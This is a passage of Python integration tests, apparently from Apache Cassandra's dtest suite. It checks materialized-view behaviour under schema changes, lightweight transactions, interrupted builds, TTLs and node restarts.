"SELECT * FROM users_by_state2 WHERE state = 'TX' AND username = 'user1'", ['TX', 'user1'] ) session.execute("ALTER TABLE users ADD first_name varchar;") results = list(session.execute("SELECT * FROM users_by_state2 WHERE state = 'TX' AND username = 'user1'")) assert len(results) == 1 assert not hasattr(results[0], 'first_name'), 'Column "first_name" found in view' assert_one( session, "SELECT * FROM users_by_state2 WHERE state = 'TX' AND username = 'user1'", ['TX', 'user1'] ) def test_rename_column(self): """ Test that a materialized view created with a 'SELECT *' works as expected when renaming a column @expected_result The column is also renamed in the view. """ session = self.prepare(user_table=True) self._insert_data(session) assert_one( session, "SELECT * FROM users_by_state WHERE state = 'TX' AND username = 'user1'", ['TX', 'user1', 1968, 'f', 'ch@ngem3a', None] ) session.execute("ALTER TABLE users RENAME username TO user") results = list(session.execute("SELECT * FROM users_by_state WHERE state = 'TX' AND user = 'user1'")) assert len(results) == 1 assert hasattr(results[0], 'user'), 'Column "user" not found' assert_one( session, "SELECT state, user, birth_year, gender FROM users_by_state WHERE state = 'TX' AND user = 'user1'", ['TX', 'user1', 1968, 'f'] ) def test_rename_column_atomicity(self): """ Test that column renaming is atomically done between a table and its materialized views @jira_ticket CASSANDRA-12952 """ session = self.prepare(nodes=1, user_table=True, install_byteman=True) node = self.cluster.nodelist()[0] self._insert_data(session) assert_one( session, "SELECT * FROM users_by_state WHERE state = 'TX' AND username = 'user1'", ['TX', 'user1', 1968, 'f', 'ch@ngem3a', None] ) # Rename a column with an injected byteman rule to kill the node after the first schema update self.fixture_dtest_setup.allow_log_errors = True script_version = '4x' if self.cluster.version() >= '4' else '3x' node.byteman_submit(['./byteman/merge_schema_failure_{}.btm'.format(script_version)]) with pytest.raises(NoHostAvailable): session.execute("ALTER TABLE users RENAME username TO user") logger.debug('Restarting node') node.stop() node.start(wait_for_binary_proto=True) session = self.patient_cql_connection(node, consistency_level=ConsistencyLevel.ONE) # Both the table and its view should have the new schema after restart assert_one( session, "SELECT * FROM ks.users WHERE state = 'TX' AND user = 'user1' ALLOW FILTERING", ['user1', 1968, 'f', 'ch@ngem3a', None, 'TX'] ) assert_one( session, "SELECT * FROM ks.users_by_state WHERE state = 'TX' AND user = 'user1'", ['TX', 'user1', 1968, 'f', 'ch@ngem3a', None] ) def test_lwt(self): """Test that lightweight transaction behave properly with a materialized view""" session = self.prepare() session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("Inserting initial data using IF NOT EXISTS") for i in range(1000): session.execute( "INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0) IF NOT EXISTS".format(v=i) ) self._replay_batchlogs() logger.debug("All rows should have been inserted") for i in range(1000): assert_one( session, "SELECT * FROM t_by_v WHERE v = {}".format(i), [i, i, 'a', 3.0] ) logger.debug("Tyring to UpInsert data with a different value using IF NOT EXISTS") for i in range(1000): v = i * 2 session.execute( "INSERT INTO t (id, v, v2, v3) VALUES ({id}, {v}, 'a', 3.0) IF NOT EXISTS".format(id=i, v=v) ) self._replay_batchlogs() logger.debug("No rows should have changed") for i in range(1000): assert_one( session, "SELECT * FROM t_by_v WHERE v = {}".format(i), [i, i, 'a', 3.0] ) logger.debug("Update the 10 first rows with a different value") for i in range(1000): v = i + 2000 session.execute( "UPDATE t SET v={v} WHERE id = {id} IF v < 10".format(id=i, v=v) ) self._replay_batchlogs() logger.debug("Verify that only the 10 first rows changed.") results = list(session.execute("SELECT * FROM t_by_v;")) assert len(results) == 1000 for i in range(1000): v = i + 2000 if i < 10 else i assert_one( session, "SELECT * FROM t_by_v WHERE v = {}".format(v), [v, i, 'a', 3.0] ) logger.debug("Deleting the first 10 rows") for i in range(1000): v = i + 2000 session.execute( "DELETE FROM t WHERE id = {id} IF v = {v} ".format(id=i, v=v) ) self._replay_batchlogs() logger.debug("Verify that only the 10 first rows have been deleted.") results = list(session.execute("SELECT * FROM t_by_v;")) assert len(results) == 990 for i in range(10, 1000): assert_one( session, "SELECT * FROM t_by_v WHERE v = {}".format(i), [i, i, 'a', 3.0] ) def test_interrupt_build_process(self): """Test that an interrupted MV build process is resumed as it should""" options = {'hinted_handoff_enabled': False} if self.cluster.version() >= '4': options['concurrent_materialized_view_builders'] = 4 session = self.prepare(options=options, install_byteman=True) node1, node2, node3 = self.cluster.nodelist() logger.debug("Avoid premature MV build finalization with byteman") for node in self.cluster.nodelist(): if self.cluster.version() >= '4': node.byteman_submit(['./byteman/4.0/skip_view_build_finalization.btm']) node.byteman_submit(['./byteman/4.0/skip_view_build_task_finalization.btm']) else: node.byteman_submit(['./byteman/pre4.0/skip_finish_view_build_status.btm']) node.byteman_submit(['./byteman/pre4.0/skip_view_build_update_distributed.btm']) session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") logger.debug("Inserting initial data") for i in range(10000): session.execute( "INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0) IF NOT EXISTS".format(v=i) ) logger.debug("Create a MV") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("Wait and ensure the MV build has started. Waiting up to 2 minutes.") self._wait_for_view_build_start(session, 'ks', 't_by_v', wait_minutes=2) logger.debug("Stop the cluster. Interrupt the MV build process.") self.cluster.stop() logger.debug("Checking logs to verify that the view build tasks have been created") for node in self.cluster.nodelist(): assert node.grep_log('Starting new view build', filename='debug.log') assert not node.grep_log('Resuming view build', filename='debug.log') node.mark_log(filename='debug.log') logger.debug("Restart the cluster") self.cluster.start(wait_for_binary_proto=True) session = self.patient_cql_connection(node1) session.execute("USE ks") logger.debug("MV shouldn't be built yet.") assert len(list(session.execute("SELECT COUNT(*) FROM t_by_v"))) != 10000 logger.debug("Wait and ensure the MV build resumed. Waiting up to 2 minutes.") self._wait_for_view("ks", "t_by_v") logger.debug("Verify all data") assert_one(session, "SELECT COUNT(*) FROM t_by_v", [10000]) for i in range(10000): assert_one( session, "SELECT * FROM t_by_v WHERE v = {}".format(i), [i, i, 'a', 3.0], cl=ConsistencyLevel.ALL ) logger.debug("Checking logs to verify that some view build tasks have been resumed") for node in self.cluster.nodelist(): assert node.grep_log('Resuming view build', filename='debug.log') @pytest.mark.skip(reason="Frequently fails in CI. Skipping until fixed as tracked by CASSANDRA-14148") @since('4.0') def test_drop_while_building(self): """Test that a parallel MV build is interrupted when the view is removed""" session = self.prepare(options={'concurrent_materialized_view_builders': 4}, install_byteman=True) session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") logger.debug("Inserting initial data") for i in range(5000): session.execute("INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0) IF NOT EXISTS".format(v=i)) logger.debug("Slowing down MV build with byteman") for node in self.cluster.nodelist(): node.byteman_submit(['./byteman/4.0/view_builder_task_sleep.btm']) logger.debug("Create a MV") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("Wait and ensure the MV build has started. Waiting up to 2 minutes.") self._wait_for_view_build_start(session, 'ks', 't_by_v', wait_minutes=2) logger.debug("Drop the MV while it is still building") session.execute("DROP MATERIALIZED VIEW t_by_v") logger.debug("Verify that the build has been stopped before its finalization without errors") for node in self.cluster.nodelist(): self.check_logs_for_errors() assert not node.grep_log('Marking view', filename='debug.log') assert node.grep_log('Stopping current view builder due to schema change', filename='debug.log') logger.debug("Verify that the view has been removed") failed = False try: session.execute("SELECT COUNT(*) FROM t_by_v") except InvalidRequest: failed = True self.assertTrue(failed, "The view shouldn't be queryable") self._assert_view_meta(session, views=1, exists=False) logger.debug("Create the MV again") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("Verify that the MV has been successfully created") self._wait_for_view('ks', 't_by_v') assert_one(session, "SELECT COUNT(*) FROM t_by_v", [5000]) @since('4.0') def test_drop_with_stopped_build(self): """Test that MV whose build has been stopped with `nodetool stop` can be dropped""" session = self.prepare(options={'concurrent_materialized_view_builders': 4}, install_byteman=True) session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") nodes = self.cluster.nodelist() logger.debug("Inserting initial data") for i in range(5000): session.execute("INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0) IF NOT EXISTS".format(v=i)) logger.debug("Slowing down MV build with byteman") for node in nodes: node.byteman_submit(['./byteman/4.0/view_builder_task_sleep.btm']) logger.debug("Create a MV") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("Wait and ensure the MV build has started. Waiting up to 2 minutes.") self._wait_for_view_build_start(session, 'ks', 't_by_v', wait_minutes=2) logger.debug("Stopping all running view build tasks with nodetool") for node in nodes: node.watch_log_for('Starting new view build for range', filename='debug.log', timeout=120) node.nodetool('stop VIEW_BUILD') logger.debug("Checking logs to verify that some view build tasks have been stopped") for node in nodes: node.watch_log_for('Stopped build for view', filename='debug.log', timeout=120) node.watch_log_for('Compaction interrupted: View build', filename='system.log', timeout=120) self.check_logs_for_errors() logger.debug("Drop the MV while it is still building") session.execute("DROP MATERIALIZED VIEW t_by_v") logger.debug("Verify that the build has been stopped before its finalization without errors") for node in nodes: self.check_logs_for_errors() assert not node.grep_log('Marking view', filename='debug.log') assert node.grep_log('Stopping current view builder due to schema change', filename='debug.log') logger.debug("Verify that the view has been removed") failed = False try: session.execute("SELECT COUNT(*) FROM t_by_v") except InvalidRequest: failed = True assert failed, "The view shouldn't be queryable" logger.debug("Create the MV again") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("Verify that the MV has been successfully created") self._wait_for_view('ks', 't_by_v') assert_one(session, "SELECT COUNT(*) FROM t_by_v", [5000]) @since('4.0') def test_resume_stopped_build(self): """Test that MV builds stopped with `nodetool stop` are resumed after restart""" session = self.prepare(options={'concurrent_materialized_view_builders': 4}, install_byteman=True) session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") nodes = self.cluster.nodelist() logger.debug("Inserting initial data") for i in range(5000): session.execute("INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0) IF NOT EXISTS".format(v=i)) logger.debug("Slowing down MV build with byteman") for node in nodes: node.byteman_submit(['./byteman/4.0/view_builder_task_sleep.btm']) logger.debug("Create a MV") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) logger.debug("Wait and ensure the MV build has started. Waiting up to 2 minutes.") self._wait_for_view_build_start(session, 'ks', 't_by_v', wait_minutes=2) logger.debug("Stopping all running view build tasks with nodetool") for node in nodes: node.watch_log_for('Starting new view build for range', filename='debug.log', timeout=120) node.nodetool('stop VIEW_BUILD') logger.debug("Checking logs to verify that some view build tasks have been stopped") for node in nodes: node.watch_log_for('Stopped build for view', filename='debug.log', timeout=120) node.watch_log_for('Compaction interrupted: View build', filename='system.log', timeout=120) node.watch_log_for('Interrupted build for view', filename='debug.log', timeout=120) assert not node.grep_log('Marking view', filename='debug.log') self.check_logs_for_errors() logger.debug("Check that MV shouldn't be built yet.") assert len(list(session.execute("SELECT COUNT(*) FROM t_by_v"))) != 5000 logger.debug("Restart the cluster") self.cluster.stop() marks = [node.mark_log() for node in nodes] self.cluster.start(wait_for_binary_proto=True) session = self.patient_cql_connection(nodes[0]) logger.debug("Verify that the MV has been successfully created") self._wait_for_view('ks', 't_by_v') assert_one(session, "SELECT COUNT(*) FROM ks.t_by_v", [5000]) logger.debug("Checking logs to verify that the view build has been resumed and completed after restart") for node, mark in zip(nodes, marks): assert node.grep_log('Resuming view build', filename='debug.log', from_mark=mark) assert node.grep_log('Marking view', filename='debug.log', from_mark=mark) self.check_logs_for_errors() @since('3.0') def test_mv_with_default_ttl_with_flush(self): self._test_mv_with_default_ttl(True) @since('3.0') def test_mv_with_default_ttl_without_flush(self): self._test_mv_with_default_ttl(False) def _test_mv_with_default_ttl(self, flush): """ Verify mv with default_time_to_live can be deleted properly using expired livenessInfo @jira_ticket CASSANDRA-14071 """ session = self.prepare(rf=3, nodes=3, options={'hinted_handoff_enabled': False}, consistency_level=ConsistencyLevel.QUORUM) node1, node2, node3 = self.cluster.nodelist() session.execute('USE ks') logger.debug("MV with same key and unselected columns") session.execute("CREATE TABLE t2 (k int, a int, b int, c int, primary key(k, a)) with default_time_to_live=600") session.execute(("CREATE MATERIALIZED VIEW mv2 AS SELECT k,a,b FROM t2 " "WHERE k IS NOT NULL AND a IS NOT NULL PRIMARY KEY (a, k)")) session.cluster.control_connection.wait_for_schema_agreement() self.update_view(session, "UPDATE t2 SET c=1 WHERE k=1 AND a=1;", flush) assert_one(session, "SELECT k,a,b,c FROM t2", [1, 1, None, 1]) assert_one(session, "SELECT k,a,b FROM mv2", [1, 1, None]) self.update_view(session, "UPDATE t2 SET c=null WHERE k=1 AND a=1;", flush) assert_none(session, "SELECT k,a,b,c FROM t2") assert_none(session, "SELECT k,a,b FROM mv2") self.update_view(session, "UPDATE t2 SET c=2 WHERE k=1 AND a=1;", flush) assert_one(session, "SELECT k,a,b,c FROM t2", [1, 1, None, 2]) assert_one(session, "SELECT k,a,b FROM mv2", [1, 1, None]) self.update_view(session, "DELETE c FROM t2 WHERE k=1 AND a=1;", flush) assert_none(session, "SELECT k,a,b,c FROM t2") assert_none(session, "SELECT k,a,b FROM mv2") if flush: self.cluster.compact() assert_none(session, "SELECT * FROM t2") assert_none(session, "SELECT * FROM mv2") # test with user-provided ttl self.update_view(session, "INSERT INTO t2(k,a,b,c) VALUES(2,2,2,2) USING TTL 5", flush) self.update_view(session, "UPDATE t2 USING TTL 100 SET c=1 WHERE k=2 AND a=2;", flush) self.update_view(session, "UPDATE t2 USING TTL 50 SET c=2 WHERE k=2 AND a=2;", flush) self.update_view(session, "DELETE c FROM t2 WHERE k=2 AND a=2;", flush) time.sleep(5) assert_none(session, "SELECT k,a,b,c FROM t2") assert_none(session, "SELECT k,a,b FROM mv2") if flush: self.cluster.compact() assert_none(session, "SELECT * FROM t2") assert_none(session, "SELECT * FROM mv2") logger.debug("MV with extra key") session.execute("CREATE TABLE t (k int PRIMARY KEY, a int, b int) with default_time_to_live=600") session.execute(("CREATE MATERIALIZED VIEW mv AS SELECT * FROM t " "WHERE k IS NOT NULL AND a IS NOT NULL PRIMARY KEY (k, a)")) session.cluster.control_connection.wait_for_schema_agreement() self.update_view(session, "INSERT INTO t (k, a, b) VALUES (1, 1, 1);", flush) assert_one(session, "SELECT * FROM t", [1, 1, 1]) assert_one(session, "SELECT * FROM mv", [1, 1, 1]) self.update_view(session, "INSERT INTO t (k, a, b) VALUES (1, 2, 1);", flush) assert_one(session, "SELECT * FROM t", [1, 2, 1]) assert_one(session, "SELECT * FROM mv", [1, 2, 1]) self.update_view(session, "INSERT INTO t (k, a, b) VALUES (1, 3, 1);", flush) assert_one(session, "SELECT * FROM t", [1, 3, 1]) assert_one(session, "SELECT * FROM mv", [1, 3, 1]) if flush: self.cluster.compact() assert_one(session, "SELECT * FROM t", [1, 3, 1]) assert_one(session, "SELECT * FROM mv", [1, 3, 1]) # user provided ttl self.update_view(session, "UPDATE t USING TTL 50 SET a = 4 WHERE k = 1", flush) assert_one(session, "SELECT * FROM t", [1, 4, 1]) assert_one(session, "SELECT * FROM mv", [1, 4, 1]) self.update_view(session, "UPDATE t USING TTL 40 SET a = 5 WHERE k = 1", flush) assert_one(session, "SELECT * FROM t", [1, 5, 1]) assert_one(session, "SELECT * FROM mv", [1, 5, 1]) self.update_view(session, "UPDATE t USING TTL 30 SET a = 6 WHERE k = 1", flush) assert_one(session, "SELECT * FROM t", [1, 6, 1]) assert_one(session, "SELECT * FROM mv", [1, 6, 1]) if flush: self.cluster.compact() assert_one(session, "SELECT * FROM t", [1, 6, 1]) assert_one(session, "SELECT * FROM mv", [1, 6, 1]) @flaky @since('3.0') def test_no_base_column_in_view_pk_complex_timestamp_with_flush(self): self._test_no_base_column_in_view_pk_complex_timestamp(flush=True) @pytest.mark.skip(reason="Frequently fails in CI. Skipping until fixed as tracked by CASSANDRA-14148") @since('3.0') def test_no_base_column_in_view_pk_complex_timestamp_without_flush(self): self._test_no_base_column_in_view_pk_complex_timestamp(flush=False) def _test_no_base_column_in_view_pk_complex_timestamp(self, flush): """ Able to shadow old view row if all columns in base are removed including unselected Able to recreate view row if at least one selected column alive @jira_ticket CASSANDRA-11500 """ session = self.prepare(rf=3, nodes=3, options={'hinted_handoff_enabled': False}, consistency_level=ConsistencyLevel.QUORUM) node1, node2, node3 = self.cluster.nodelist() session.execute('USE ks') session.execute("CREATE TABLE t (k int, c int, a int, b int, e int, f int, primary key(k, c))") session.execute(("CREATE MATERIALIZED VIEW mv AS SELECT k,c,a,b FROM t " "WHERE k IS NOT NULL AND c IS NOT NULL PRIMARY KEY (c, k)")) session.cluster.control_connection.wait_for_schema_agreement() # update unselected, view row should be alive self.update_view(session, "UPDATE t USING TIMESTAMP 1 SET e=1 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, None, None, 1, None]) assert_one(session, "SELECT * FROM mv", [1, 1, None, None]) # remove unselected, add selected column, view row should be alive self.update_view(session, "UPDATE t USING TIMESTAMP 2 SET e=null, b=1 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, None, 1, None, None]) assert_one(session, "SELECT * FROM mv", [1, 1, None, 1]) # remove selected column, view row is removed self.update_view(session, "UPDATE t USING TIMESTAMP 2 SET e=null, b=null WHERE k=1 AND c=1;", flush) assert_none(session, "SELECT * FROM t") assert_none(session, "SELECT * FROM mv") # update unselected with ts=3, view row should be alive self.update_view(session, "UPDATE t USING TIMESTAMP 3 SET f=1 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, None, None, None, 1]) assert_one(session, "SELECT * FROM mv", [1, 1, None, None]) # insert livenesssInfo, view row should be alive self.update_view(session, "INSERT INTO t(k,c) VALUES(1,1) USING TIMESTAMP 3", flush) assert_one(session, "SELECT * FROM t", [1, 1, None, None, None, 1]) assert_one(session, "SELECT * FROM mv", [1, 1, None, None]) # remove unselected, view row should be alive because of base livenessInfo alive self.update_view(session, "UPDATE t USING TIMESTAMP 3 SET f=null WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, None, None, None, None]) assert_one(session, "SELECT * FROM mv", [1, 1, None, None]) # add selected column, view row should be alive self.update_view(session, "UPDATE t USING TIMESTAMP 3 SET a=1 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, 1, None, None, None]) assert_one(session, "SELECT * FROM mv", [1, 1, 1, None]) # update unselected, view row should be alive self.update_view(session, "UPDATE t USING TIMESTAMP 4 SET f=1 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, 1, None, None, 1]) assert_one(session, "SELECT * FROM mv", [1, 1, 1, None]) # delete with ts=3, view row should be alive due to unselected@ts4 self.update_view(session, "DELETE FROM t USING TIMESTAMP 3 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, None, None, None, 1]) assert_one(session, "SELECT * FROM mv", [1, 1, None, None]) # remove unselected, view row should be removed self.update_view(session, "UPDATE t USING TIMESTAMP 4 SET f=null WHERE k=1 AND c=1;", flush) assert_none(session, "SELECT * FROM t") assert_none(session, "SELECT * FROM mv") # add selected with ts=7, view row is alive self.update_view(session, "UPDATE t USING TIMESTAMP 7 SET b=1 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, None, 1, None, None]) assert_one(session, "SELECT * FROM mv", [1, 1, None, 1]) # remove selected with ts=7, view row is dead self.update_view(session, "UPDATE t USING TIMESTAMP 7 SET b=null WHERE k=1 AND c=1;", flush) assert_none(session, "SELECT * FROM t") assert_none(session, "SELECT * FROM mv") # add selected with ts=5, view row is alive (selected column should not affects each other) self.update_view(session, "UPDATE t USING TIMESTAMP 5 SET a=1 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, 1, None, None, None]) assert_one(session, "SELECT * FROM mv", [1, 1, 1, None]) # add selected with ttl=20 (we apparently need a long ttl because the flushing etc that self.update_view does can take a long time) self.update_view(session, "UPDATE t USING TTL 20 SET a=1 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, 1, None, None, None]) assert_one(session, "SELECT * FROM mv", [1, 1, 1, None]) time.sleep(20) # update unselected with ttl=10, view row should be alive self.update_view(session, "UPDATE t USING TTL 20 SET f=1 WHERE k=1 AND c=1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, None, None, None, 1]) assert_one(session, "SELECT * FROM mv", [1, 1, None, None]) time.sleep(20) # view row still alive due to base livenessInfo assert_none(session, "SELECT * FROM t") assert_none(session, "SELECT * FROM mv") @since('3.0') def test_base_column_in_view_pk_complex_timestamp_with_flush(self): self._test_base_column_in_view_pk_complex_timestamp(flush=True) @since('3.0') def test_base_column_in_view_pk_complex_timestamp_without_flush(self): self._test_base_column_in_view_pk_complex_timestamp(flush=False) def _test_base_column_in_view_pk_complex_timestamp(self, flush): """ Able to shadow old view row with column ts greater than pk's ts and re-insert the view row Able to shadow old view row with column ts smaller than pk's ts and re-insert the view row @jira_ticket CASSANDRA-11500 """ session = self.prepare(rf=3, nodes=3, options={'hinted_handoff_enabled': False}, consistency_level=ConsistencyLevel.QUORUM) node1, node2, node3 = self.cluster.nodelist() session.execute('USE ks') session.execute("CREATE TABLE t (k int PRIMARY KEY, a int, b int)") session.execute(("CREATE MATERIALIZED VIEW mv AS SELECT * FROM t " "WHERE k IS NOT NULL AND a IS NOT NULL PRIMARY KEY (k, a)")) session.cluster.control_connection.wait_for_schema_agreement() # Set initial values TS=1 self.update_view(session, "INSERT INTO t (k, a, b) VALUES (1, 1, 1) USING TIMESTAMP 1;", flush) assert_one(session, "SELECT * FROM t", [1, 1, 1]) assert_one(session, "SELECT * FROM mv", [1, 1, 1]) # increase b ts to 10 self.update_view(session, "UPDATE t USING TIMESTAMP 10 SET b = 2 WHERE k = 1;", flush) assert_one(session, "SELECT k,a,b,writetime(b) FROM t", [1, 1, 2, 10]) assert_one(session, "SELECT k,a,b,writetime(b) FROM mv", [1, 1, 2, 10]) # switch entries. shadow a = 1, insert a = 2 self.update_view(session, "UPDATE t USING TIMESTAMP 2 SET a = 2 WHERE k = 1;", flush) assert_one(session, "SELECT k,a,b,writetime(b) FROM t", [1, 2, 2, 10]) assert_one(session, "SELECT k,a,b,writetime(b) FROM mv", [1, 2, 2, 10]) # switch entries. shadow a = 2, insert a = 1 self.update_view(session, "UPDATE t USING TIMESTAMP 3 SET a = 1 WHERE k = 1;", flush) assert_one(session, "SELECT k,a,b,writetime(b) FROM t", [1, 1, 2, 10]) assert_one(session, "SELECT k,a,b,writetime(b) FROM mv", [1, 1, 2, 10]) # switch entries. shadow a = 1, insert a = 2 self.update_view(session, "UPDATE t USING TIMESTAMP 4 SET a = 2 WHERE k = 1;", flush, compact=True) assert_one(session, "SELECT k,a,b,writetime(b) FROM t", [1, 2, 2, 10]) assert_one(session, "SELECT k,a,b,writetime(b) FROM mv", [1, 2, 2, 10]) # able to shadow view row even if base-column in view pk's ts is smaller than row timestamp # set row TS = 20, a@6, b@20 self.update_view(session, "DELETE FROM t USING TIMESTAMP 5 where k = 1;", flush) assert_one(session, "SELECT k,a,b,writetime(b) FROM t", [1, None, 2, 10]) assert_none(session, "SELECT k,a,b,writetime(b) FROM mv") self.update_view(session, "INSERT INTO t (k, a, b) VALUES (1, 1, 1) USING TIMESTAMP 6;", flush) assert_one(session, "SELECT k,a,b,writetime(b) FROM t", [1, 1, 2, 10]) assert_one(session, "SELECT k,a,b,writetime(b) FROM mv", [1, 1, 2, 10]) self.update_view(session, "INSERT INTO t (k, b) VALUES (1, 1) USING TIMESTAMP 20;", flush) assert_one(session, "SELECT k,a,b,writetime(b) FROM t", [1, 1, 1, 20]) assert_one(session, "SELECT k,a,b,writetime(b) FROM mv", [1, 1, 1, 20]) # switch entries. shadow a = 1, insert a = 2 self.update_view(session, "UPDATE t USING TIMESTAMP 7 SET a = 2 WHERE k = 1;", flush) assert_one(session, "SELECT k,a,b,writetime(a),writetime(b) FROM t", [1, 2, 1, 7, 20]) assert_one(session, "SELECT k,a,b,writetime(b) FROM mv", [1, 2, 1, 20]) # switch entries. shadow a = 2, insert a = 1 self.update_view(session, "UPDATE t USING TIMESTAMP 8 SET a = 1 WHERE k = 1;", flush) assert_one(session, "SELECT k,a,b,writetime(a),writetime(b) FROM t", [1, 1, 1, 8, 20]) assert_one(session, "SELECT k,a,b,writetime(b) FROM mv", [1, 1, 1, 20]) # create another view row self.update_view(session, "INSERT INTO t (k, a, b) VALUES (2, 2, 2);", flush) assert_one(session, "SELECT k,a,b FROM t WHERE k = 2", [2, 2, 2]) assert_one(session, "SELECT k,a,b FROM mv WHERE k = 2", [2, 2, 2]) # stop node2, node3 logger.debug('Shutdown node2') node2.stop(wait_other_notice=True) logger.debug('Shutdown node3') node3.stop(wait_other_notice=True) # shadow a = 1, create a = 2 query = SimpleStatement("UPDATE t USING TIMESTAMP 9 SET a = 2 WHERE k = 1", consistency_level=ConsistencyLevel.ONE) self.update_view(session, query, flush) # shadow (a=2, k=2) after 3 second query = SimpleStatement("UPDATE t USING TTL 3 SET a = 2 WHERE k = 2", consistency_level=ConsistencyLevel.ONE) self.update_view(session, query, flush) logger.debug('Starting node2') node2.start(wait_other_notice=True, wait_for_binary_proto=True) logger.debug('Starting node3') node3.start(wait_other_notice=True, wait_for_binary_proto=True) # For k = 1 & a = 1, We should get a digest mismatch of tombstones and repaired query = SimpleStatement("SELECT * FROM mv WHERE k = 1 AND a = 1", consistency_level=ConsistencyLevel.ALL) result = session.execute(query, trace=True) self.check_trace_events(result.get_query_trace(), True) assert 0 == len(result.current_rows) # For k = 1 & a = 1, second time no digest mismatch result = session.execute(query, trace=True) self.check_trace_events(result.get_query_trace(), False) assert_none(session, "SELECT * FROM mv WHERE k = 1 AND a = 1") assert 0 == len(result.current_rows) # For k = 1 & a = 2, We should get a digest mismatch of data and repaired for a = 2 query = SimpleStatement("SELECT * FROM mv WHERE k = 1 AND a = 2", consistency_level=ConsistencyLevel.ALL) result = session.execute(query, trace=True) self.check_trace_events(result.get_query_trace(), True) assert 1 == len(result.current_rows) # For k = 1 & a = 2, second time no digest mismatch result = session.execute(query, trace=True) self.check_trace_events(result.get_query_trace(), False) assert 1 == len(result.current_rows) assert_one(session, "SELECT k,a,b,writetime(b) FROM mv WHERE k = 1", [1, 2, 1, 20]) time.sleep(3) # For k = 2 & a = 2, We should get a digest mismatch of expired and repaired query = SimpleStatement("SELECT * FROM mv WHERE k = 2 AND a = 2", consistency_level=ConsistencyLevel.ALL) result = session.execute(query, trace=True) self.check_trace_events(result.get_query_trace(), True) logger.debug(result.current_rows) assert 0 == len(result.current_rows) # For k = 2 & a = 2, second time no digest mismatch result = session.execute(query, trace=True) self.check_trace_events(result.get_query_trace(), False) assert 0 == len(result.current_rows) @since('3.0') def test_expired_liveness_with_limit_rf1_nodes1(self): self._test_expired_liveness_with_limit(rf=1, nodes=1) @since('3.0') def test_expired_liveness_with_limit_rf1_nodes3(self): self._test_expired_liveness_with_limit(rf=1, nodes=3) @since('3.0') def test_expired_liveness_with_limit_rf3(self): self._test_expired_liveness_with_limit(rf=3, nodes=3) def _test_expired_liveness_with_limit(self, rf, nodes): """ Test MV with expired liveness limit is properly handled @jira_ticket CASSANDRA-13883 """ session = self.prepare(rf=rf, nodes=nodes, options={'hinted_handoff_enabled': False}, consistency_level=ConsistencyLevel.QUORUM) node1 = self.cluster.nodelist()[0] session.execute('USE ks') session.execute("CREATE TABLE t (k int PRIMARY KEY, a int, b int)") session.execute(("CREATE MATERIALIZED VIEW mv AS SELECT * FROM t " "WHERE k IS NOT NULL AND a IS NOT NULL PRIMARY KEY (k, a)")) session.cluster.control_connection.wait_for_schema_agreement() for k in range(100): session.execute("INSERT INTO t (k, a, b) VALUES ({}, {}, {})".format(k, k, k)) # generate view row with expired liveness except for row 50 and 99 for k in range(100): if k == 50 or k == 99: continue session.execute("DELETE a FROM t where k = {};".format(k)) # there should be 2 live data assert_one(session, "SELECT k,a,b FROM mv limit 1", [50, 50, 50]) assert_all(session, "SELECT k,a,b FROM mv limit 2", [[50, 50, 50], [99, 99, 99]]) assert_all(session, "SELECT k,a,b FROM mv", [[50, 50, 50], [99, 99, 99]]) # verify IN keys = range(100) assert_one(session, "SELECT k,a,b FROM mv WHERE k in ({}) limit 1".format(', '.join(str(x) for x in keys)), [50, 50, 50]) assert_all(session, "SELECT k,a,b FROM mv WHERE k in ({}) limit 2".format(', '.join(str(x) for x in keys)), [[50, 50, 50], [99, 99, 99]]) assert_all(session, "SELECT k,a,b FROM mv WHERE k in ({})".format(', '.join(str(x) for x in keys)), [[50, 50, 50], [99, 99, 99]]) # verify fetch size session.default_fetch_size = 1 assert_one(session, "SELECT k,a,b FROM mv limit 1", [50, 50, 50]) assert_all(session, "SELECT k,a,b FROM mv limit 2", [[50, 50, 50], 